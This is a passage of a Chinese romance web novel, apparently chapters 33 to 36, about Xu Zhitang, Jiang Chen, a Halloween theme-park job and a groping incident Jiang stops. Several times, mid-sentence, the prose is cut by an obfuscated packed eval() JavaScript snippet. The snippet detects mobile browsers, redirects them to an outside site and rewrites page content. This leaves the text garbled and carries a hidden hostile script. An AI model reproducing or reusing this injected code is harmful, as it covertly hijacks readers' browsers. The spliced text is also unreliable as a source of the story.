“又踩雷了。”她更有理由不好好吃饭,翻看着手机相册,“不过我觉得,做避雷的分享好像比种草安利的流量还要高诶。” 蒋谌评估桌上的菜色,把一盘烤牛小排跟她面前的沙拉调换位置,“这个还能吃。” “太生了,”她说,“还有血丝呢,我才不要吃。” “是你自己要的五分熟。” “五分熟的切面拍出来比较漂亮嘛。” “……” 蒋谌把她才不要吃的漂亮饭吃完,脸色似乎好一些了。离开餐厅时服务员送了两份小礼物,纸袋里装着小饼干和海盐太妃糖。 天色才刚暗下来,城市灯光显得特别新鲜。许知棠含着糖块深吸了一口冷空气,转头对他说,“这个糖倒是挺好吃的。” 蒋谌就把自己手里的小纸袋也给了她。 “你不尝一颗吗?” “不想吃。” 夜晚的广场舞先锋队已经摆好了阵型,有小孩骑着滑板车在里面穿来穿去。 许知棠眼尖地发现,在公园健身区,向来很受青睐的秋千居然还有个空位,强烈要求去坐一下再回家。 “我也想学滑板,那种双翘短板。但是我有个同学在骨科,老是恐吓我脚摔断要养很久,阴雨天还会风湿痛。” 她看着那些小孩,露出羡慕的眼神,“你说我十岁的时候怎么没去学滑板呢,那时候学多好,骨头软,摔断了长得也快。” 蒋谌有发言权:“你十岁的时候在学刘沉香劈山。” “……” 许知棠捂脸:“天哪。” 另一个秋千上的小孩跑走了。蒋谌坐上去,象征性地晃了晃。 不管以何种姿势蜷起腿,他的脚都没办法离开地面,这早就不是他能玩的东西。 但他还是又晃了一下。不晓得脑袋里在盘桓什么,侧头问,“你高中真的没谈恋爱?” “……昂。”许知棠长叹一声,“哪能说谈就谈啊,心动也是需要过程的好不好。要是真有喜欢的人,我怎么可能忍得住不跟你讲。” 因为距离很远,偶尔有个什么小秘密,她反而会更放心说给蒋谌听。 许知棠到现在都不太明白,当初那个谎言,连她自己都觉得很拙劣,他平时很聪明的一个人,怎么一下子就相信了,都不带追问的。 除非是他自己想要相信。 就像何松砚那样……就坡下驴罢了。 其实她心里不是没想过,可能他就快要出国了,要交新朋友,要花很多时间,所以不认为再跟她维持感情很有必要。可能,他并没有多看重两个人的友谊。 但是这种想法不利于团结。尤其是现在两人又联系上了,还相处得不错,许知棠不允许自己再想下去。 “那你是为什么没有再学医呢?”她提出另一个不明白的问题,“是因为不想再学医了,才没有去国外读书吗?” “我本来就没多喜欢学医,只是因为没别的可学。”蒋谌说,“出国留学也不是我的主意,我一直都计划在国内读研。” “嗯?”许知棠怔了一下,脚尖抵住地面。这跟她一直以为的不太一样。 “那你是读到大四才忽然发现,自己想学的是法律吗?” “差不多吧。”他说,“只是想换个专业,我也没多喜欢法律。” 其实没那么复杂。他记性好,考这个专业有优势,加上行业前景也不错,就选了。 许知棠眨眨眼,“好叛逆哦。”学霸的任性。 “我当时……觉得除了学医,什么都行。”他缓缓呼出一口气,目光延伸,像在跟一个遥远的人对话,“除了待在那里,去哪都行。” 他被困在一套既定的程序里,急需做些什么,改变一些东西,来寻回对自己人生的掌控感。 但是那真的算得上痛苦吗? 他打心眼里觉得自己没什么可痛苦的。 虽然寄人篱下,但是吃穿不愁,平常带点眼色主动做做家务就够了,除此以外没人使唤他什么。 学习上他向来比别人更轻松,工作也差不多。只要不死心眼,专给自己定些达不到的目标,他的人生已经非常顺利了——但凡付出就有收获,光这一点,就堪称幸运。以至于再喊苦喊累都显得矫情。 “可是,很小的痛苦就不是痛苦了吗?” “……” 蒋谌回过神,听许知棠对他说,“每个人的痛苦都应该被看见。” “如果不和他人产生连接,没有倾诉的机会,即使是很小的阴影,日积月累也会变成一座大山,人就会被压垮,会变态!我以前的心理医生说的。” 他觉得不至于,“我离变态应该还有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882030|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段距离。” “我知道!你跟大姚哥经常一起喝酒对不对,你们看起来挺熟的。”许知棠呲一口小白牙,炫耀自己的情报,“他朋友圈里隔三岔五就会提到你。但你总不发朋友圈。” “今天早上不是发了么?” “那是我拿你手机发的好不好!” 蒋谌低头笑了。 “我还看到大姚哥评论你去了哪里旅游,你都没有回复他。”许知棠这叫一个干着急,“你怎么忍得住呢?” 如果条件允许,她恨不得把评论区几千条一一回复。更别说是朋友了,大街上随便来个人跟她说话,她都绝对忍不住要接茬的。 “又没有真的去旅游。”蒋谌说,“公园里爬个山有什么好回的。” 她悄悄翻了个白眼。有时候真是跟他聊不到一块儿去。 “你这叫好高骛远。前几年不是很流行一个词叫小确幸吗?就算不出去旅游,生活里的每一天也都很值得纪念啊。” 许知棠开始给他上课了,“毕竟普通人能出去旅游的机会太少了,如果只指望那几天,岂不是一年中的绝大部分时间都要活得不快乐?说到快乐,跟你住了这么久,都没见你有什么兴趣爱好,除了上班就是睡觉。你不觉得无聊啊?” “睡觉不能算爱好?”蒋谌吐出一副现实的腔调,“钱没挣够,没心思考虑什么爱好。” “那挣多少算够啊,一千万,一个亿?我说你这个人,也别太……” “我心里有数。” 许知棠很无语,又翻他一眼。“行吧,就当个断情绝爱的挣钱机器吧,等到七老八十有你后悔的。” 也得能活到那个岁数再说。 蒋谌被她教育好高骛远,有点不高兴,拿回纸袋倒出太妃糖,撕开糖纸,丢进嘴里咔嚓两下嚼碎,“回家睡觉。” “……喂!” 许知棠气愤地小跑追他,好像要跳起来打他脑壳。听她在旁边吱哇乱叫,他倒是奇异地感到心气顺畅。 真有点变态了。 回去的路上蒋谌接了个工作电话,车里瞬间班味变重。许知棠同情他,也不闹了,安安静静地到了家,到厨房找果汁喝。 冰箱旁的推拉玻璃门上写着他们近一周的对话。她驻足看了会儿,觉得有趣,拿手机拍下来。 她爱喝的美龄粥只有那家大排档做得好喝,但每天上午十点半以后才开始配送。蒋谌就会晚上点,放进锅里保温,第二天早上喝刚好。 最开始是她生病的那天早上。起床以后看见他的留言:粥在锅里保温,起来喝。 她还以为是蒋谌煮的,感动地喝完,拿马克笔画了个不二家的头像,以表美味。 后来对话就越来越精简,从“粥在锅里”,变成“在锅里”,又变了“粥”。 最后连一个字也没了。他画了个带勺子的碗,和上面不二家的头像一般大。 许知棠拍了照,又觉得错怪他。这个人其实也挺可爱的。 如果真像她说的那么无聊,她小时候怎么会那么喜欢找他玩呢?她也不全看脸的。 “好,明天见。”蒋谌通完电话,瞥见她还在厨房里没出来,就过去看了一眼。 “在干什么?” 这一眼,恰好对上她诧异的目光。 许知棠歪了一下头,指尖上挑着的银链已被洗得很亮,滴着水闪闪发光。 “锅里为什么有一条项链?” 34. 第 34 章 蒋谌头脑空白了一瞬,又听见她说,“你傻呀,珍珠不能放在水里泡,会影响光泽度的。” 长辈忽然登门,他被打断,忘了收拾厨房这摊子。直到此时瞧见,他回过神,脑海中的第一个念头居然是——这项链挂在她指尖真漂亮。粉紫色的珍珠很衬她的皮肤。 “你是在给项链消毒吗?”许知棠觉得他搞笑,“哪有放在锅里煮的,又不是蔬菜。” 蒋谌没有解释。她拿纸巾按了按水,才后知后觉地想到不对,“你怎么会有这种女孩子的东西?!” 狐疑的眼神把他从头扫到尾。为保名节,蒋谌只能先撇清自己真的不是gay,“本来要送人的,没送出去。” 许知棠暧昧地笑了一下,明亮的眼眸中充满兴味,“送谁啊,暗恋的人?” “很久以前的东西。”他答非所问。 她兴趣更浓,“那就是学校里暗恋的人?” “……啧,”蒋谌有些不耐似的,按着她的脑门往后推,“行了,烦不烦。反正我留着没用,你想要就拿走。” “给我?才不要。”虽然是条漂亮的项链。许知棠可不乐意,“送不出去的东西给我,瞧不起谁呢。” 她的微信忽然来了消息,注意力转移到手机上,顺手把项链放进他掌心,“没想到你还有这么一出情史呢?下次跟我细说。” 如果珍珠能有表情,此时跟蒋谌面面相觑,必然一脸幽怨。 这件礼物以最糟糕的情形,首次出现在她眼前。既没有展现出它真正的意义,又被拒收,简直十分委屈。 许知棠尚不知自己拒绝了什么,打字回复程欣,跟她约了一起喝下午茶。这个月已经是第二次。 虽然程欣还是没有再去面试模特公司,但她很能理解。人在做出重大改变之前,总是需要积攒很多勇气。 程欣喜欢和她见面,就是借此在重新积攒勇气。 她年轻些,没有踏入婚姻,无牵无挂,踏入新生活总是更容易的。程欣还有一个儿子,刚满三岁,连自己出门都困难。 这次再见面,她问许知棠能不能带着儿子一起,也说了孩子很乖很安静,不会闹人。许知棠不讨厌小孩,就答应了。 直到亲眼看见小孩,许知棠才知道更多内情。 “浩浩今年初被检查出轻度自闭症,好在发现得早,还在黄金干预期,医生说现在介入治疗效果很好。” 程欣给儿子擦了擦嘴角,无奈道,“他身边离不开人。上次把他放在邻居家,不小心打破一只杯子,吓得连着发了两天高烧,把邻居也给吓到了。我不敢再托付别人。” 许知棠点了点头。她在医院待了几年,从外表其实就能看出来。浩浩回避她的视线,整个下午一个字都没说过,只低头转着手里的魔方。 许知棠把配拿铁的焦糖饼干拿给他吃,他看都没看一眼,也不伸手。过了一会儿,他肚子饿了,也不会说话,只拿着妈妈的手伸向盘子里的蛋糕。 程欣会意,耐心地跟他重复了两遍这是蛋糕,拿小勺喂给他吃。 许知棠看得心底酸软,不知道怎么帮助她,就提前把账单结了,“我室友的大学师兄在二院,正好是精神科的医生。我回去问一下他,没准儿有你可以用到的信息。” “那太好了。”程欣望着她,感动得眼角泛红,“知棠,认识你真的很幸运。” 上次遇到假辰野虽然闹出了一场不愉快,但有蒋谌介入,给她们俩争取来的和解金数目可观,她都觉得是因祸得福了。 对程欣而言,更幸运的是认识了这个女孩子。她婚后身边一个朋友都没有,能像这样出来坐两三个小时,只是喝喝咖啡说说话,已经感到非常幸福。 许知棠还送给她两张欢乐谷的万圣节夜游门票,又逗了逗浩浩,“不害怕的话,就来找姐姐玩好不好?到时候姐姐打扮成别的样子,看你能不能认出我。” 工作里认识了许多模特,摄影师和网红,许知棠也接触到一些外快的机会。有个跟她比较熟的朋友介绍了这次万圣节NPC的工作。 时薪没多少,但她觉得挺有意思,没试过,想体验一下就答应了,加进群里以后还给了十来张票。 抱着不能浪费的心思,许知棠给认识的人发了一圈,回到家才想起,差点漏了蒋谌,“你下班早的话过来找我玩喔,我是从五点半到十点半。” “看情况。”他说,“估计没那么有空。” 许知棠哼了一声,仰着脸按摩促进面膜吸收,“随便你。” 听语气不对,蒋谌才从工作中抬起头来,很快地从她的表情里读出了原因,“还记仇呢。” 因为那晚帮忙关播,短暂地露了下脸,这两天粉丝都在讨论“主人哥”的身份,已经快要超过讨论她的视频内容了。 导致许知棠这两天都看他不怎么顺眼。 可是这也没办法。她知道互联网上帅哥就是会有更高的热度,就连情侣博主里也是男方更受关注,稍微做对点什么事情就会被捧到天上。只能说性别红利无处不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899701|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我以后不再出镜就行了。”蒋谌随口道,“他们讨论过这一阵就会忘记的。” “不要。”许知棠立刻否决,“你还是该干什么该什么,不要藏起来。这样显得我心虚,欺负你似的。” 他撇一下嘴角,看不出是不是在笑,手指继续敲打键盘,游刃有余的模样。 许知棠看他莫名不爽。就连以往让她出门很有面子的脸,现在看起来都有些可恶了,“少在那里得了便宜还卖乖!” 恶咪咆哮。 蒋谌的视线越过电脑屏幕投到她脸上,光明正大,“我得什么便宜了?” 他当然也看了许知棠的评论区,里面有不少人在臆想他们两个,能有超出室友情的发展。 尤其许知棠也公开说过自己刚分手。恰好是最需要人陪的时候,粉丝们都催她,近水楼台先得月,速速开展第二春。 他都知道。 但是他只上班空隙里偶尔看一看,从来都没跟许知棠当面提过,让人尴尬。自认为没有做错什么,不该被凶。 许知棠凶完有点理亏,想到评论区里乱磕cp,自己却不好说出口,只能牵强道,“她们一直夸你帅!” 蒋谌说,“基因好,我有什么办法。” “……” 事实证明,这个世界上根本不存在帅而不自知的男人。 许知棠鄙视他,又无法否认事实。说不过他,“我要去洗面膜了。” 她认为蒋谌大忙人一个,不会有时间细看她评论区的疯言疯语。只有她独自承受了。 怪只怪她最初的嘴瓢。“主人”这种称呼天然带有特殊意味,叫人浮想联翩,一旦被扣上帽子,后面画风跑偏是无法避免的。 再加上同在一片屋檐下生活,不纯洁的声音此起彼伏。 许知棠以前都不知道,自己的粉丝里隐藏了这么多大黄丫头,有些词语缩写她还是特意查了才知道的。 简直令咪不敢直视。如果不是她脸皮够厚,估计现在看蒋谌都要不自在。 她自知是一只正直的小猫咪,咪品人品都很过关,就算是对帅哥美女心向往之,玷污友谊的事绝对做不出来。 她的工作环境已经是种筛选,每次拍摄身边的同事全是帅哥美女。虽然还没完全从上一段感情里走出来,但也不是没想过,如果在变回猫之前还能有什么艳遇,不失为一种刺激的人生体验。 但她再怎么丧心病狂,也不会把心思打到蒋谌身上。 绝对不会的。 35. 第 35 章 把票分完,许知棠当然还邀请了方芷。 万圣节的鬼屋分了不同主题,废弃医院里缺一个丧尸护士npc。她跟方芷说了这事,原本只是随口一提,没想到平时约出来玩都困难的社恐朋友,居然在思索了半天以后说可以试试来代班。 对于朋友们突破舒适区的勇敢尝试,许知棠总是积极支持,迅速联系了负责人,线上面试很快就敲定了。 得到结果,她比方芷本人还激动,“我看过那套护士装!你穿一定超级性感。” 许知棠对自己的一双小咪并无不满,但也不妨碍她垂涎人家的丰腴。女孩们的身体本就高矮胖瘦都美丽。 “我从来没参加过这种活动。”方芷挂完面试视频,手还在抖,“应该……也不需要很多互动吧?游客看到我都会立刻逃跑的吧?” “嘿嘿,可能有胆大的游客会想要跟你合影,拍拍照,摆一下姿势就好了,很简单的,可以提前在家里对着镜子练习一下。” 有身份属性的npc还会给安排台词和剧情。许知棠期待道,“好想看到你举着超大针筒追着他们跑的样子!” “……” 方芷老实道,“好的,我会跑慢一点。” 许知棠报名的兼职排班一共三天,最后一天是万圣夜。前两天蒋谌都有事,没空过去。 倒是魏林瀚,得到票兴致勃勃地玩了一趟。回来跟他聊天,话里有话,“你们家小猫人气很高呢。” 蒋谌当没听懂,“她本来就很受欢迎。” 万圣节当天他没怎么加班,离开公司大楼时犹豫了一下,没去开车。 每到节日,游乐场那条路上必定人满为患,塞得水泄不通,停车位更是难找。 他有段时间没坐地铁了,上一次去游乐场更不知是猴年马月,站点要怎么换乘,还得打开地图现查。 截屏路线图,屏幕自动跳出分享列表。他下意识地点第一个微信头像,想到这时候许知棠应该正在工作,又不动声色地取消。 他不知道许知棠在哪个园区。这几天两人在家不怎么见得到面,时不时说几句话还要呛声。她分享消息也不像平常那么细致而频繁。 她还在介意那些评论吗?蒋谌没机会问。但更偏向于认为是她的新兼职太忙,而不是两人这么快就没有话讲,或相看两厌。 大门外广场上布置了灯展,从台阶上来,满眼的火树银花。除了家庭出游,多数是年轻情侣,眼神清澈的大学生。 蒋谌混迹其中,像个锦衣夜行的执法人士,不拍照也不作停留,穿过璀璨的灯河,目不斜视地去检票口。 正要进去,背后有人不确定地叫他的名字。蒋谌回头,喊声顿时提高了分贝。 “诶?我以为你不来呢!” 姚一尧拉着一个面生的女孩朝他跑过来,贼拉高兴,“喜之郎说你没空,我就没叫你。” “这是我女朋友。”他马不停蹄给两人介绍,“这我哥们儿,蒋谌。” 蒋谌微微颔首,“你好。” 姚一尧平均每年要换三到四个女朋友。他记不住,索性放弃了,反正过两个月又是新面孔。 “对了,我们要先去打卡那个什么……夜光摩天轮?”姚一尧侧头询问。女孩被他逗笑,轻轻掐了把他的腰,“是摩天轮夜景。很浪漫的。” 一听就知道是针对哪类人群。蒋谌不便掺和,摆摆手,“你们去吧,我自己随便逛逛。” “那行,”姚一尧说,“晚点在喜之郎那儿见呗,她不是说结束聚餐,去烧烤店包场吃宵夜么。” 还有这种好事。 蒋谌一点也没听说,但反应是波澜不惊,“知道了。” 园里的npc分两种。一种是像方芷参加的,在固定场所内角色扮演。另一种是像许知棠一样,除了花车巡游时需要集合,其他时间都可以自由移动,跟路过的游客互动合影。 蒋谌沿着主干道往前找,沿路看见好几个npc,有扮成电锯杀人狂的,有扮成吸血鬼女巫的,还有扮成黑猫警长的,被很多游客围着合照。 他没在这些人群里看到许知棠的身影,先走到了废弃医院主题的鬼屋。 许知棠在家里跟朋友通电话时他听到了。有个跟她关系不错的女孩,也在这里兼职npc,说不定能帮忙定个位。 反正路过。 蒋谌走进了鬼屋。 医院主题对他而言太过熟悉。不仅是高度还原的场景,他和许知棠都是从小泡在各个科室的八卦和灵异诡闻里长大。对于哪些地方容易冒出什么造型的东西,他心里有个大概,很难被吓到。 于是当诡异bgm响起,别的游客四处逃窜时,蒋谌礼貌地叫住了一个肢体扭曲阴暗爬行,半个脑花露在外面的丧尸病人,“你好,有没有见到一个举着巨型针筒的护士?听说是身材很好的女孩。” “……” 丧尸病人眨了眨青色的眼珠,戏也不演了,用意味深长的口气对他说,“还真有一位。不过在这种地方还有兴致猎艳?兄弟你玩得好变态呦。” 蒋谌微微皱眉。他自认为描述客观,是为了精准找人才尽可能地多提供细节线索。但别人显然不这么想。 鬼屋里七拐八拐,还有各种机关,他想节约时间,只好先认领变态的身份,“麻烦帮我指个路。” ** 方芷在靠近出口的位置上班。她本来是追逐型的npc,但就像许知棠说的,确实有不少人找她合照,甚至还特意来找她打卡。 这样有点浪费时间,她就改成了在鬼屋的固定地点出现。游客可以直接过来跟她集邮。 她穿的当然也不是医院里那种常规护士装。白色套装上沾染着斑驳的血迹,上衣改成了性感v领,包臀裙虽然过膝,没有走光的风险,却把腰臀比勾勒得极吸引眼球。 她身材太好,平时上班不好意思穿得惹眼,节日装扮倒是个放飞自我的好机会。只不过游客们实在太热情了,她有些应付不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16927946|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,即使画着厚厚的特效妆,脸上的热度一直没下来过。 Npc和游客拍照的姿势也有讲究,一般跟同性和小孩合照时可以更亲密,异性则最好保持一些距离。 来玩的大多是年轻人,也都自觉。方芷逐渐熟练营业,“你好,想要怎么拍?” 异性一般都是并排站在她身边,隔着十几公分的距离拍的,偶尔有贴着胳膊的她也不会说什么。或者她举起针筒摆好姿势,对方也做个好玩的动作配合。 面前穿着黑色连帽衫的男人对着她笑了,促狭的眼睛在她身上来回打量,“能搂着你的腰拍么?” “……不可以的。”方芷往旁边跨了一步,举着针筒的手也放下去,平静道,“请站在这边就好。” 男人轻蔑地撇嘴,眼神依然发飘,待到往她身边一站,半边身子黏糊地贴了过来。 方芷又往一旁挪了挪,调整表情,等摄影师按下快门。后腰却忽然被一片湿热的手掌覆盖,迅速下移,捏了她一把。 她一愣,恶心不适的触感毒蛇般缠上来,连忙转身大声道,“你干什么!” 人群骚动,探究的目光投来。他没有就此收手逃走,竟然还跃跃欲试地伸手往前凑,想再捏第二下。 方芷也被这份无耻惊呆了,正不知要往哪里躲,斜后方一只大手铁钳般扣住了他的手腕,向内一拧,指腹压在他的脉搏上狠狠一攥。 男人疼得一声惨叫,瞬间软了身子。 “出来。”蒋谌说。 他力道控制得不错,既不会真的伤筋动骨,又保证能让人丧失反抗能力,疼上一阵子。 等保安赶来,蒋谌把人移交,才终于有空隙能问到她,“是方芷吗?你好。我是许知棠的朋友。” 刚刚合照的场面堪比小型明星见面会。他还排了半天队。 “对的……你们认识?”方芷还有些怔神,闻言才反应过来,“好巧啊。你要找她吗,她现在正赶过来。” 许知棠这两天就在鬼屋附近晃悠。因为方芷是第一次做这样的兼职,她为了照顾朋友特意没离太远,没想到还是出了岔子。 是她一个劲儿鼓励方芷来尝试新体验的。这时候听说朋友被揩油,心里很有些内疚,怒火更是滔天,一得到消息就炮弹似的冲过来。 令人意外的是,还没看清楚方芷在哪,她隔老远竟然先认出了蒋谌。 许知棠不可思议地瞪大眼睛,嘴比脑子快,朝他大喊一声,“是你摸了我朋友的屁股?!” “……” 本年度最冤枉的指控出现。 在方圆五米尴尬的沉默中,蒋谌叹了口气。 方芷连忙解释,“不是的棠棠,是他帮我摁住了那个人。” “啊,”许知棠也已经看到罪魁祸首,眼睛忙碌地两头跳,“哈哈,我就说嘛。诶你今天下班挺早的?” “……” 蒋谌冷笑一声,不接受话题转移,“我在你心里究竟是什么形象。” 36. 第 36 章 她冒冒失失也不是第一天了。回过神来不用想也知道,蒋谌才不可能是那种人。 蒋谌的脾气很好猜的。是不是真的生气她一看便知,压根没把他的冷脸放在心上,笑眯眯道,“好啦,是我乱讲。等下拍多点照片补偿你喔。” 现在还有更重要的事情要做。她目光往旁边一扫,找对了罪魁祸首,气得甩起尾巴狂抽,“变态!变态!变态!” “……” 她今天的妆造是恶魔小猫——比起恶魔,或许说是魅魔更合适。全身黑红配色,尾巴尖上带着弯钩,虽然是合成塑料做的毛绒材质,像她这样抡圆了摔打起来也是很疼的。 跪在地上的男人被安保大哥反剪双手无法挣脱,众目睽睽下憋得满脸通红,仿佛也在感到羞愧,忽然间呼吸急促起来。 许知棠观察他几秒钟,发现他呼吸频率越来越高,就快要晕厥过去。职业敏感度爆发,跟旁边围观的游客借了麦当劳的纸袋,蹲在地上用纸袋罩住他的口鼻,厉声道,“用鼻子吸气!缓慢地吸!用嘴呼气!” 是过度换气引发的呼吸性碱中毒。蒋谌蹲下,半跪着扶住他的后背,“我来。” 许知棠拧着眉头,没有立刻起身,等他能规律呼吸以后,顺着他的视线发现这人喘得都快翻白眼了,居然还在趁机看她的胸口。 真叫人无语。气得她唰地站起来,攥着尾巴又猛抽两下,“变态!变态!” “……” 蒋谌也站起身,把她隔到身后,居高临下地盯到地上的人先转开视线,“不要再奖励他了。” 等警察赶来,方芷提前下了班,去警局做笔录。案情简单,蒋谌只在现场接受问话,没跟着一起去。 找猫行程宣告结束,花车巡游就要开始。许知棠也来不及跟他多说几句话,就又被同事拽走,“等一下,我回来找你!” 空气里弥漫着爆米花的甜香。蒋谌找了排靠后的长椅坐下,饿着肚子等。 下班到现在,他还没来得及吃晚饭。以至于看到被家长牵着一只手,另一只手里抓着烤肠吃得满嘴油光的小孩,他居然有点羡慕。居然觉得自己有点可怜。 蒋谌为这种自我怜惜的情绪起了一身鸡皮疙瘩。 游乐园是造梦的圣地。小孩的梦。他一个奔三的大人,很难能再从这里找到什么共鸣。 但当花车载着歌舞缓缓前行,一片流光溢彩之中,他还是跟身边的人一起举起了手机。快门声此起彼伏。 他很快就看到许知棠,站在花车上笑容耀眼,被霓虹灯带围绕,漂亮得像个人形手办。 隔着厚厚的人群,许知棠也发现了他,特意朝着他的方向做了几个营业动作,握着小猫拳放在腮边wink。 见他也在拍照,又兴致勃勃地加了一组飞吻,从同事兜里掏了一把南瓜糖,对着他抛过来。 糖纸被灯光映射得五彩斑斓,划出闪光的抛物线。蒋谌没机会抢到糖果。身边的小孩们四散哄闹,只有他始终站在原地,目不转睛,甚至放下了手机。 花车渐渐远去了,嘹亮的铜管声和悠扬的小提琴久久缠绕,搭载的鼓点欢快而躁动。 不对。躁动的声音分明来自他的胸膛深处。 为亲眼目睹一场巨大的美梦。 由于阴差阳错地帮到了她的朋友,许知棠又对他和颜悦色起来。 巡游结束后还有两个小时的班要上。许知棠兴冲冲地跑回来找他拍合照。 她原本以为蒋谌会嫌这里人多太吵,不会来。 “穿这么少不冷么?”蒋谌问。 “不冷!”她很有干劲,“因为我的内心火热!” “……” “嘻嘻,是因为裤袜加绒。” 她拉住蒋谌的胳膊,叫他蹲低一点,脑袋靠在一起,“诶呦,你怎么这么僵硬。把手拿过来。” 蒋谌都不知道她要干嘛。许知棠只好拿着他的手摆好姿势,一会儿要弯起来放在脸颊上比心,一会儿又让他伸一根手指戳自己脸蛋。 ……她和游客合照的风格怎么跟方芷不一样。 业务相当熟练。是不是这两天跟所有人都是这样拍,所以才练出来的? 蒋谌想这没什么的,只是她比较不拘小节。没什么的,出来玩就是要放得开。想来想去拳头硬了。 扮吸血鬼伯爵的同事从旁边经过,看两人头抵头地合照,阴阳怪气道,“哎许知棠,不是说不跟男的拍照么?” “滚啊,这是我嫡长闺!”许知棠笑嘻嘻地朝那人竖了个中指,转回来又小声跟他嘀咕,“仅限今晚。别跟陶陶说。” 蒋谌很偶然地从这个身份里受益,配合点头,第一次没有抗议。 接着就又要工作。她还不忘叮嘱蒋谌,“别走喔,待会儿跟我们一起去吃宵夜。” Npc选拔的硬性标准就是身材和外貌,其中有不少都是模特和小网红。短暂的兼职结束,许知棠和大部分人都混了个脸熟。同在海市,今后的工作中也可能会有交集。 最后一天收工的大合照,蒋谌也被她拉到身边。 快门闪烁,他从背后伸出手,面无表情地在许知棠头顶比了个耶。 宵夜时间。因为人数多,她们直接包了整个烧烤店的大厅位置,进来随便坐。 蒋谌就近挑了张桌子坐,终于混上口吃的。姚一尧带着女朋友坐他跟前闲聊,见他筷子几乎不停,都顾不上说话,“晚上没吃饭啊?” “嗯。” “你还没吃晚饭?”许知棠耳朵竖得像天线,百忙之中表示关心,“那我去给你加急搞一碗冷面!” “……” 每一桌都有她聊得不错的朋友。蒋谌低头吃面,余光里她像只小鸟似的飞来飞去,片刻不停息。 她是真的很喜欢这样的场合,热闹,温暖,充满人情味和烟火气。有点像回到大学时期的联谊会。 那是一段他完全没有参与的日子,但能够想象出来,她一定也像现在这样过得热热闹闹,过得很快乐。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947553|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >饭桌上姚一尧对新女友照顾得无微不至,并适时跟他聊起最近的股票行情,展示财力和投资眼光。 这一套蒋谌已经见了好多次,要笑不笑地应合了几句。他脸皮倒厚,在女孩面前表现的潇洒随和,也是肉眼可见的越来越娴熟。 一生爱搞题海战术的中国孩子,连谈恋爱也擅于总结并吸取经验。 但到底要谈几个啊。 蒋谌无法理解这位朋友的追求。难道谈够九十九次恋爱就能保送爱情圣殿吗?把恋爱当游戏,通关奖励又是什么。 一个人,一颗心,是怎么能不间断地爱上那么多种不同类型的女孩。 不明白。 许知棠社交了一圈,远远看到他自己坐在那里,冷脸盯着果盘一动不动,好像已经待到厌烦。 许知棠却本能地察觉蹊跷,另辟蹊径把头伸到桌子底下又看,原来是吃饱了在发饭懵。眉压眼真是很有欺骗性。 桌子底下忽然冒出一张脸。蒋谌有点无语,后仰了一下,“干什么?突击检查仪容仪表?” “我来看看你是不是晕碳了。”许知棠嘿嘿笑,在他身边的空位坐下。连同一起放下的酒瓶都霸道地挤着他的柠檬水。 今晚大多数人都喝的果味鸡尾酒。她身上水果味和酒味同样浓郁,不知道已经是第几瓶。蒋谌没忍住,“别喝太多。” “没关系!我明天又没有工作。”她耸了一下鼻头。晕红的脸颊和过亮的眼睛,已然显现出几分醉鬼的神采,“你怎么一点都不喝啊?不高兴吗。” “他就这样,不是全熟人的局基本都不喝酒。”姚一尧笑呵呵地接话,“我们正说早恋呢。” “说谁早恋啊。”许知棠一拍大腿,想起来了,“诶你知不知道,蒋谌说他上学的时候有喜欢的人!” “……” 这简直就是当面造谣。 蒋谌澄清,“我没说过这话。” “我靠真的假的?怎么我都没听说过?” 姚一尧表示震惊且无视了他的澄清,当着正主的面蛐蛐起劲了,“速速道来!” 不过也正常,他跟蒋谌上的不是一所大学,读研也不在一起,是工作了才又频繁联系的。 可惜许知棠也就知道这么多,“他没有跟我讲他暗恋的人到底是谁。” “还是暗恋?!”姚一尧可惜道,“那估计是大学时候吧,咱俩肯定都不认识。” 他想想还觉得兄弟不够意思。怎么这么大的八卦,连他都没告诉,许知棠来了一个月就给套出来了,“话又说回来了哥们,什么样的神人能让你暗恋?天之骄女啊?” 蒋谌的学校门槛高,同学里面肯定有很多变态的天才。 姚一尧想这哥们一直谈不上,只能是因为求偶标准卡得太死,眼高于顶。就只有聪明到变态的程度,才有可能被他注意。 “我也想知道!” 许知棠积极响应,做了个上课举手的姿势,虚心求教,“请问你到底喜欢什么样的女孩?” 